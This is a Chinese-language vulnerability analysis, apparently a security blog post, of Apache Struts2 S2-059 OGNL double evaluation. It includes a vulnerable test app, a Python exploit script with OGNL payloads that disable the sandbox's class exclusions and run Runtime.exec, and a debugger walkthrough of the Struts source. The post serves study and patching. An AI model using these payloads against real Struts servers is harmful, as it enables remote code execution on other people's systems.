文章前言

2020年12月8日,Apache官方发布安全公告称Apache Struts2修复了一处ONGL表达式执行的安全漏洞(S2-061),据相关安全人员披露该漏洞是对S2-059沙盒的绕过,由于之前没有对S2-059进行过细致的分析又对S2-061产生了兴趣,所以就先有了本篇文章。

影响范围

Struts 2.0.0 - Struts 2.5.20

利用条件

  • 开启altSyntax功能
  • 标签id属性中存在表达式且可控

漏洞概述

2020年8月13日,Apache官方发布公告称Apache Struts2由于在使用某些标签时会对标签属性值进行二次表达式解析,在这种情况下如果标签属性值使用了类似%{payload}且payload的值为用户可以控制时,攻击者可以构造恶意payload参数,然后通过OGNL表达式执行从而导致RCE,纤细公告如下所示:
https://cwiki.apache.org/confluence/display/WW/S2-059

前置知识

OGNL表达式

OGNL是Object-Graph Navigation Language的缩写,全称为对象图导航语言,是一种功能强大的表达式语言,它通过简单一致的语法可以任意存取对象的属性或者调用对象的方法,能够遍历整个对象的结构图,实现对象属性类型的转换等功能,Struts2中的ONGL有一个上下文(Context)概念,其实现者为ActionContext,结构示意图如下所示:

OGNL的特点

总体来说OGNL有如下特点:

  • 支持对象方法调用,形式如:objName.methodName()
  • 支持类静态方法调用和值访问,格式为@[类全名(包括包路)]@[方法名|值名],例如:@java.lang.String@format(‘foo %s’, ‘bar’)或@tutorial.MyConstant@APP_NAME;
  • 支持赋值操作和表达式串联,例如:price=100, discount=0.8, calculatePrice(),该表达式会返回80
  • 访问OGNL上下文(OGNL context)和ActionContext
  • 操作集合对象

OGNL的符号

OGNL表达式要结合Struts的标签库来使用,主要有#、%和$三个符号的使用:

'#'符号用法

'#'可用于访问非根元素(在Struts中值栈为根对象),这里#相当于ActionContext.getContext(),下表是几个ActionContext中常用的属性:

'#'可用于过滤和投影(projecting)集合,例如:

persons.{?#this.age>28}

'#'可用于构造Map

#{'foo1':'bar1','foo2':'bar2'}
%符号用法

%符号的用途是在标志的属性为字符串类型时,计算OGNL表达式的值,类似js中的eval,这也是找寻OGNL表达式执行的关键点

$符号用法
  • 在国际化资源文件中,引用OGNL表达式
  • 在Struts 2配置文件中,引用OGNL表达式

Struts请求处理

Apache Struts2官方给出的Struts2请求处理流程图如下所示:

关于更多值栈信息以及OGNL和EL的区别可以移步这里:
https://www.cnblogs.com/huangting/p/11105051.html

漏洞复现

简易测试

下面构建了一个简易的测试项目用于对该漏洞进行复现与分析,测试代码已上传至Github:
https://github.com/Al1ex/CVE-2019-0230

S2059.jsp代码如下所示:

<%@ page
        language="java"
        contentType="text/html; charset=UTF-8"
        pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
    <title>S2059</title>
</head>
<body>
<s:a id="%{id}">SimpleTest</s:a>
</body>
</html>

Struts.xml如下所示:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
        "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>

    <constant name="struts.devMode" value="false"/>
    <package name="default" namespace="/" extends="struts-default">
        <default-action-ref name="index"/>
        <action name="S2059" class="org.heptagram.action.IndexAction" method="Test">
            <result>S2059.jsp</result>
        </action>
    </package>

</struts>

IndexAction代码如下所示:

package org.heptagram.action;

import com.opensymphony.xwork2.ActionSupport;

public class IndexAction  extends ActionSupport {

    private String id;

    public String getId() {
        return id;
    }
    public void setId(String id) {
        this.id = id;
    }
    public String Test(){
        return SUCCESS;
    }
}

下载项目后使用IDEA导入项目,然后启动Tomcat(JDK 8u66\Tomcat 7.0.72版本\Struts 2.5.16版本):

之后在浏览器中正常访问S2059.action并提交id参数值:

http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059?id=1


之后构造如下payload再次访问,可以看到表达式被执行了:

http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059?id=%25{8*8}

EXP测试

import requests
url = "http://192.168.174.148:8080/SimpleStruts_war_exploded/S2059"
data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc.exe'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)


执行结果:

漏洞分析

Struts2中的标签解析由org.apache.struts2.views.jsp.ComponentTagSupport的doStartTag方法处理,所以我们在此处下断点进行调试:

在这里会首先调用this.getStack()来获取值栈信息(这里的this视具体的标签而定):

之后通过this.getBean创建一个Anchor对象然后将其注入com.opensymphony.xwork2.ActionContext.container,之后调用this.populateParams();对标签属性进行赋值操作:

跟进this.populateParams方法,在这里会调用父类的populateParams()方法进行参数赋值操作:

之后继续跟进,再次调用父类的populateParams()方法,继续跟进查看:

之后继续调用父类的populateParams()方法,继续跟进:

之后无操作返回:

最终在org\apache\struts\struts2-core\2.5.16\struts2-core-2.5.16.jar!\org\apache\struts2\views\jsp\ui\AbstractUITag.class的populateParams方法中进行参数的赋值操作,在这里我注重关注以下可控的id参数的赋值操作:

之后跟进uiBean.setId(this.id),在这里会首先判断id是否为null,如果不为null则调用this.findString(id),这里的this为Anchor类实例:

之后调用this.findValue()方法,继续跟进:

在findValue中会首先判断altSyntax()是否开启以及类型是否为String,由于altSyntax默认开启且当前type为string类型,所以会进入if语句,之后判断ComponentUtils.containsExpression(expr) :

此时的expr完全满足条件,所以返回true:

之后执行TextParseUtil.translateVariables('%', expr, this.stack) ,继续跟进去:

继续跟进:

之后创建TextParser对象并调用其evaluate:

evaluate的完整代码如下所示,在这里会截取%{}之内的id参数:

public Object evaluate(char[] openChars, String expression, ParsedValueEvaluator evaluator, int maxLoopCount) {
        Object result = expression = expression == null ? "" : expression;
        int pos = 0;
        char[] arr$ = openChars;
        int len$ = openChars.length;

        for(int i$ = 0; i$ < len$; ++i$) {
            char open = arr$[i$];
            int loopCount = 1;
            String lookupChars = open + "{";

            while(true) {
                int start = expression.indexOf(lookupChars, pos);
                if (start == -1) {
                    ++loopCount;
                    start = expression.indexOf(lookupChars);
                }

                if (loopCount > maxLoopCount) {
                    break;
                }

                int length = expression.length();
                int x = start + 2;
                int count = 1;

                while(start != -1 && x < length && count != 0) {
                    char c = expression.charAt(x++);
                    if (c == '{') {
                        ++count;
                    } else if (c == '}') {
                        --count;
                    }
                }

                int end = x - 1;
                if (start == -1 || end == -1 || count != 0) {
                    break;
                }

                String var = expression.substring(start + 2, end);
                Object o = evaluator.evaluate(var);
                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                String middle = null;
                if (o != null) {
                    middle = o.toString();
                    if (StringUtils.isEmpty(left)) {
                        result = o;
                    } else {
                        result = left.concat(middle);
                    }

                    if (StringUtils.isNotEmpty(right)) {
                        result = result.toString().concat(right);
                    }

                    expression = left.concat(middle).concat(right);
                } else {
                    expression = left.concat(right);
                    result = expression;
                }

                pos = (left != null && left.length() > 0 ? left.length() - 1 : 0) + (middle != null && middle.length() > 0 ? middle.length() - 1 : 0) + 1;
                pos = Math.max(pos, 1);
            }
        }

        return result;
    }
}


之后通过值栈查找并将其返回:

最后取得id的值%{88},那么有人可能会问为什么这里的while循环中不直接二次解析表达式呢?因为这里有一个maxLoopCount限制,也就是说表达式只能执行一次,所以无法继续解析%{88}:

希望扑空,于是灰头土脸的返回到doStartTag方法中,继续向下跟,在这里会调用this.component.start()方法,之后跟进去看看:

在这里调用了父类的start方法,继续跟进:

之后再次调用父类的start方法,继续跟进:

在父类的start方法中直接返回一个true....

之后执行this.evaluateParams()方法,跟进去查看一番:

整个evaluateParams方法代码如下所示,可以看到的是这里的evaluateParams也是用于解析参数的:

public void evaluateParams() {
        String templateDir = this.getTemplateDir();
        String theme = this.getTheme();
        this.addParameter("templateDir", templateDir);
        this.addParameter("theme", theme);
        this.addParameter("template", this.template != null ? this.findString(this.template) : this.getDefaultTemplate());
        this.addParameter("dynamicAttributes", this.dynamicAttributes);
        this.addParameter("themeExpansionToken", this.uiThemeExpansionToken);
        this.addParameter("expandTheme", this.uiThemeExpansionToken + theme);
        String name = null;
        String providedLabel = null;
        if (this.key != null) {
            if (this.name == null) {
                this.name = this.key;
            }

            if (this.label == null) {
                providedLabel = TextProviderHelper.getText(this.key, this.key, this.stack);
            }
        }

        if (this.name != null) {
            name = this.findString(this.name);
            this.addParameter("name", name);
        }

        if (this.label != null) {
            this.addParameter("label", this.findString(this.label));
        } else if (providedLabel != null) {
            this.addParameter("label", providedLabel);
        }

        if (this.labelSeparator != null) {
            this.addParameter("labelseparator", this.findString(this.labelSeparator));
        }

        if (this.labelPosition != null) {
            this.addParameter("labelposition", this.findString(this.labelPosition));
        }

        if (this.requiredPosition != null) {
            this.addParameter("requiredPosition", this.findString(this.requiredPosition));
        }

        if (this.errorPosition != null) {
            this.addParameter("errorposition", this.findString(this.errorPosition));
        }

        if (this.requiredLabel != null) {
            this.addParameter("required", this.findValue(this.requiredLabel, Boolean.class));
        }

        if (this.disabled != null) {
            this.addParameter("disabled", this.findValue(this.disabled, Boolean.class));
        }

        if (this.tabindex != null) {
            this.addParameter("tabindex", this.findString(this.tabindex));
        }

        if (this.onclick != null) {
            this.addParameter("onclick", this.findString(this.onclick));
        }

        if (this.ondblclick != null) {
            this.addParameter("ondblclick", this.findString(this.ondblclick));
        }

        if (this.onmousedown != null) {
            this.addParameter("onmousedown", this.findString(this.onmousedown));
        }

        if (this.onmouseup != null) {
            this.addParameter("onmouseup", this.findString(this.onmouseup));
        }

        if (this.onmouseover != null) {
            this.addParameter("onmouseover", this.findString(this.onmouseover));
        }

        if (this.onmousemove != null) {
            this.addParameter("onmousemove", this.findString(this.onmousemove));
        }

        if (this.onmouseout != null) {
            this.addParameter("onmouseout", this.findString(this.onmouseout));
        }

        if (this.onfocus != null) {
            this.addParameter("onfocus", this.findString(this.onfocus));
        }

        if (this.onblur != null) {
            this.addParameter("onblur", this.findString(this.onblur));
        }

        if (this.onkeypress != null) {
            this.addParameter("onkeypress", this.findString(this.onkeypress));
        }

        if (this.onkeydown != null) {
            this.addParameter("onkeydown", this.findString(this.onkeydown));
        }

        if (this.onkeyup != null) {
            this.addParameter("onkeyup", this.findString(this.onkeyup));
        }

        if (this.onselect != null) {
            this.addParameter("onselect", this.findString(this.onselect));
        }

        if (this.onchange != null) {
            this.addParameter("onchange", this.findString(this.onchange));
        }

        if (this.accesskey != null) {
            this.addParameter("accesskey", this.findString(this.accesskey));
        }

        if (this.cssClass != null) {
            this.addParameter("cssClass", this.findString(this.cssClass));
        }

        if (this.cssStyle != null) {
            this.addParameter("cssStyle", this.findString(this.cssStyle));
        }

        if (this.cssErrorClass != null) {
            this.addParameter("cssErrorClass", this.findString(this.cssErrorClass));
        }

        if (this.cssErrorStyle != null) {
            this.addParameter("cssErrorStyle", this.findString(this.cssErrorStyle));
        }

        if (this.title != null) {
            this.addParameter("title", this.findString(this.title));
        }

        if (this.parameters.containsKey("value")) {
            this.parameters.put("nameValue", this.parameters.get("value"));
        } else if (this.evaluateNameValue()) {
            Class valueClazz = this.getValueClassType();
            if (valueClazz != null) {
                if (this.value != null) {
                    this.addParameter("nameValue", this.findValue(this.value, valueClazz));
                } else if (name != null) {
                    String expr = this.completeExpressionIfAltSyntax(name);
                    this.addParameter("nameValue", this.findValue(expr, valueClazz));
                }
            } else if (this.value != null) {
                this.addParameter("nameValue", this.findValue(this.value));
            } else if (name != null) {
                this.addParameter("nameValue", this.findValue(name));
            }
        }

        Form form = (Form)this.findAncestor(Form.class);
        this.populateComponentHtmlId(form);
        if (form != null) {
            this.addParameter("form", form.getParameters());
            if (name != null) {
                List<String> tags = (List)form.getParameters().get("tagNames");
                tags.add(name);
            }
        }

        if (this.tooltipConfig != null) {
            this.addParameter("tooltipConfig", this.findValue(this.tooltipConfig));
        }

        if (this.tooltip != null) {
            this.addParameter("tooltip", this.findString(this.tooltip));
            Map tooltipConfigMap = this.getTooltipConfig(this);
            if (form != null) {
                form.addParameter("hasTooltip", Boolean.TRUE);
                Map overallTooltipConfigMap = this.getTooltipConfig(form);
                overallTooltipConfigMap.putAll(tooltipConfigMap);
                Iterator i$ = overallTooltipConfigMap.entrySet().iterator();

                while(i$.hasNext()) {
                    Object o = i$.next();
                    Entry entry = (Entry)o;
                    this.addParameter((String)entry.getKey(), entry.getValue());
                }
            } else {
                LOG.warn("No ancestor Form found, javascript based tooltip will not work, however standard HTML tooltip using alt and title attribute will still work");
            }

            String jsTooltipEnabled = (String)this.getParameters().get("jsTooltipEnabled");
            if (jsTooltipEnabled != null) {
                this.javascriptTooltip = jsTooltipEnabled;
            }

            String tooltipIcon = (String)this.getParameters().get("tooltipIcon");
            if (tooltipIcon != null) {
                this.addParameter("tooltipIconPath", tooltipIcon);
            }

            if (this.tooltipIconPath != null) {
                this.addParameter("tooltipIconPath", this.findString(this.tooltipIconPath));
            }

            String tooltipDelayParam = (String)this.getParameters().get("tooltipDelay");
            if (tooltipDelayParam != null) {
                this.addParameter("tooltipDelay", tooltipDelayParam);
            }

            if (this.tooltipDelay != null) {
                this.addParameter("tooltipDelay", this.findString(this.tooltipDelay));
            }

            if (this.javascriptTooltip != null) {
                Boolean jsTooltips = (Boolean)this.findValue(this.javascriptTooltip, Boolean.class);
                this.addParameter("jsTooltipEnabled", jsTooltips.toString());
                if (form != null) {
                    form.addParameter("hasTooltip", jsTooltips);
                }

                if (this.tooltipCssClass != null) {
                    this.addParameter("tooltipCssClass", this.findString(this.tooltipCssClass));
                }
            }
        }

        this.evaluateExtraParams();
    }

在该函数中的if....else判断语句之外还调用了populateComponentHtmlId方法,之后更进去查看一番:

之后跟进findStringIfAltSyntax,此时的altSyntax默认为true,所以执行findString(expr),感觉是不是和之前的第一次解析有点像呢?

之后继续跟进,发现回去调用findValue(),这里的this为Anchor,和第一次表达式解析完全相同,我们这里还是继续跟进一下吧:

之后调用containsExpression(expr):

满足条件返回true,所以再一次的调用了TextParseUtil.translateVariables:

之后和第一次表达式解析一样一直往下面跟,最后来到org\apache\struts\struts2-core\2.5.16\struts2-core-2.5.16.jar!\com\opensymphony\xwork2\util\OgnlTextParser.class的evaluate方法中,在这里依旧会执行一次表达式解析,不过和第一次不一样的是var的值从id变为了88,而结果o也从%{88}变为了64,从而导致OGNL表达式二次解析:

文末小结

每次Struts2被爆出新的安全漏洞时,都会包含新的OGNL表达式代码执行点和对Struts2沙盒加强防护的绕过,所以每一轮补丁除了修复OGNL表达式的执行点,也会再次强化沙盒,补丁主要通过struts-default.xml来限制OGNL使用到的类和包,以及修改各种Bean函数的访问控制符来实现,在Struts2.5.22的Struts-default.xml中可以看到在这里限制java.lang.Class, java.lang.ClassLoader,java.lang.ProcessBuilder这几个类访问,导致漏洞利用时无法使用构造函数、进程创建函数、类加载器等方式执行代码,同时也限制com.opensymphony.xwork2.ognl这个包的访问,导致漏洞利用时无法访问和修改_member_access,context等变量,具体如下所示:

<constant name="struts.excludedClasses"
              value="
                java.lang.Object,
                java.lang.Runtime,
                java.lang.System,
                java.lang.Class,
                java.lang.ClassLoader,
                java.lang.Shutdown,
                java.lang.ProcessBuilder,
                sun.misc.Unsafe,
                com.opensymphony.xwork2.ActionContext" />

    <!-- this must be valid regex, each '.' in package name must be escaped! -->
    <!-- it's more flexible but slower than simple string comparison -->
    <!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / -->

    <!-- this is simpler version of the above used with string comparison -->
    <constant name="struts.excludedPackageNames"
              value="
                ognl.,
                java.io.,
                java.net.,
                java.nio.,
                javax.,
                freemarker.core.,
                freemarker.template.,
                freemarker.ext.jsp.,
                freemarker.ext.rhino.,
                sun.misc.,
                sun.reflect.,
                javassist.,
                org.apache.velocity.,
                org.objectweb.asm.,
                org.springframework.context.,
                com.opensymphony.xwork2.inject.,
                com.opensymphony.xwork2.ognl.,
                com.opensymphony.xwork2.security.,
                com.opensymphony.xwork2.util." />

关于其绕过(S2-061)的分析后期再找时间献上~

安全建议

升级到struts最新版本

参考链接

https://cwiki.apache.org/confluence/display/ww/s2-059
http://blog.topsec.com.cn/struts2-s2-059-漏洞分析/
https://github.com/vulhub/vulhub/blob/master/struts2/s2-059/README.zh-cn.md

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖